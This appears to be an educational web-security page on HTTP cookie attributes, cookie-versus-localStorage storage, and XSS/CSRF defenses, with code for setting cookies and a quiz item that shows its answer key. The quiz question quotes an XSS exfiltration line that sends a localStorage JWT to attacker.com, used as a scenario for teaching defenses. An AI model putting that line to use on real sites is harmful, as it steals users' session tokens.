HTTP Cookies: Attributes, Storage Comparison, and XSS/CSRF Defenses

1 min readWeb Development

Cookies are key-value pairs stored by the browser and sent automatically with matching requests. Security attributes: HttpOnly (no JS access), Secure (HTTPS only), SameSite (CSRF protection). Cookies, localStorage, and sessionStorage differ in persistence, scope, and automatic request inclusion. JWT in cookies is more secure than JWT in localStorage against XSS.

httpcookiescsrfsecurity

Cookie attributes

Set-Cookie: sessionToken=abc123;
            Domain=example.com;
            Path=/;
            Expires=Wed, 09 Jun 2024 10:18:14 GMT;
            Secure;
            HttpOnly;
            SameSite=Strict

| Attribute | Effect | |---|---| | HttpOnly | JavaScript cannot access via document.cookie — blocks XSS token theft | | Secure | Only sent over HTTPS — prevents interception on HTTP | | SameSite=Strict | Only sent for same-origin requests — blocks CSRF | | SameSite=Lax | Sent for top-level navigation (link clicks) but not third-party requests | | SameSite=None | Sent for all requests (third-party) — requires Secure | | Domain=example.com | Accessible to example.com and all subdomains | | Path=/api | Only sent with requests to /api/* paths | | Expires | Persistent cookie — survives browser restart | | Session (no Expires) | Deleted when browser session ends |

How cookies work in the request cycle

1. Server sets cookie:
   HTTP/1.1 200 OK
   Set-Cookie: session_id=xyz; HttpOnly; Secure; SameSite=Lax

2. Browser stores it, sends on every matching request:
   GET /dashboard HTTP/1.1
   Cookie: session_id=xyz

3. Server reads cookie:
   # Express.js
   const sessionId = req.cookies.session_id;
   # Go
   cookie, _ := r.Cookie("session_id")

The browser automatically includes cookies in requests that match the domain, path, and security requirements — no JavaScript required. This is both the power (seamless auth) and the risk (CSRF: a malicious site can trigger requests to your domain, and the browser will include cookies).

Cookie vs localStorage vs sessionStorage

| Property | Cookie | localStorage | sessionStorage | |---|---|---|---| | Sent with requests | Yes (automatic) | No | No | | JS access | Yes (unless HttpOnly) | Yes | Yes | | Persistence | Configurable (session or expires) | Until cleared | Tab session | | Size limit | ~4KB | ~5MB | ~5MB | | Server-readable | Yes (via Cookie header) | No | No | | CSRF risk | Yes | No | No | | XSS risk | Yes (unless HttpOnly) | Yes | Yes |

JWT in HttpOnly cookie is more secure than JWT in localStorage against XSS — but neither prevents CSRF

ConceptWeb Security

localStorage is accessible by any JavaScript on the page. An XSS attack can read `localStorage.getItem('token')` and exfiltrate the JWT. HttpOnly cookies are inaccessible to JavaScript — XSS can't read the token. However, XSS can still make authenticated requests using the cookie (the browser sends it automatically). SameSite=Lax/Strict prevents CSRF from third-party origins but doesn't help against XSS. The best practice: HttpOnly + Secure + SameSite=Lax for authentication tokens, combined with XSS prevention (CSP, input sanitization).

Prerequisites

  • XSS attacks
  • CSRF attacks
  • Same-origin policy

Key Points

  • HttpOnly: blocks XSS from reading the token. Attacker can still make authenticated requests via XSS.
  • Secure: prevents cookie theft on HTTP. Required for SameSite=None.
  • SameSite=Strict: strongest CSRF protection, but breaks OAuth flows (cross-site redirects lose cookies).
  • SameSite=Lax: good default — allows top-level navigation, blocks CSRF for state-changing requests.

Setting cookies in code

# Flask (Python)
from flask import make_response

resp = make_response("Login successful")
resp.set_cookie(
    'session_id',
    value='xyz',
    max_age=3600,
    secure=True,
    httponly=True,
    samesite='Lax'
)
return resp
// Go (gin)
c.SetCookie(
    "session_id",  // name
    "xyz",         // value
    3600,          // max age (seconds)
    "/",           // path
    "example.com", // domain
    true,          // secure
    true,          // httpOnly
)
// Reading cookies in JavaScript (non-HttpOnly only)
document.cookie  // returns all non-HttpOnly cookies as a string

// Modern: Cookie Store API (Chrome 87+)
const cookie = await cookieStore.get('name');

An app stores a JWT in localStorage for auth. An attacker injects a script via XSS: `fetch('https://attacker.com/steal?t=' + localStorage.getItem('token'))`. What would prevent this?

medium

localStorage is accessible to JavaScript. HttpOnly cookies are not.

  • AUse HTTPS — localStorage is only accessible on HTTPS origins
    Incorrect.localStorage is accessible to JavaScript on both HTTP and HTTPS origins. The HTTPS/HTTP distinction doesn't affect JavaScript's access to localStorage.
  • BStore the JWT in an HttpOnly cookie instead — JavaScript cannot access HttpOnly cookies, so the XSS script cannot exfiltrate the token
    Correct!HttpOnly cookies are not accessible via document.cookie or any JavaScript API. The XSS script cannot read them. localStorage is fully readable by any JavaScript on the page — a successful XSS attack can always read it. Moving the JWT to an HttpOnly cookie prevents the exfiltration step. However, the XSS can still make authenticated API requests (the browser sends the cookie). The primary defense against XSS is preventing injection in the first place (CSP, input sanitization, framework escaping). HttpOnly limits the blast radius.
  • CUse Content Security Policy (CSP) to block all fetch() calls
    Incorrect.CSP can restrict which origins JavaScript can fetch from (connect-src). A strict CSP would block `fetch('https://attacker.com/...')`. This is a valid defense, but it complements — not replaces — using HttpOnly cookies. CSP misconfiguration or bypass could still expose a localStorage token.
  • DToken rotation prevents the stolen token from being reused
    Incorrect.Token rotation limits the window of exploitation but doesn't prevent the theft. The attacker can use the token immediately after stealing it.

Hint:What JavaScript-accessible storage mechanism can XSS read? What can't it read?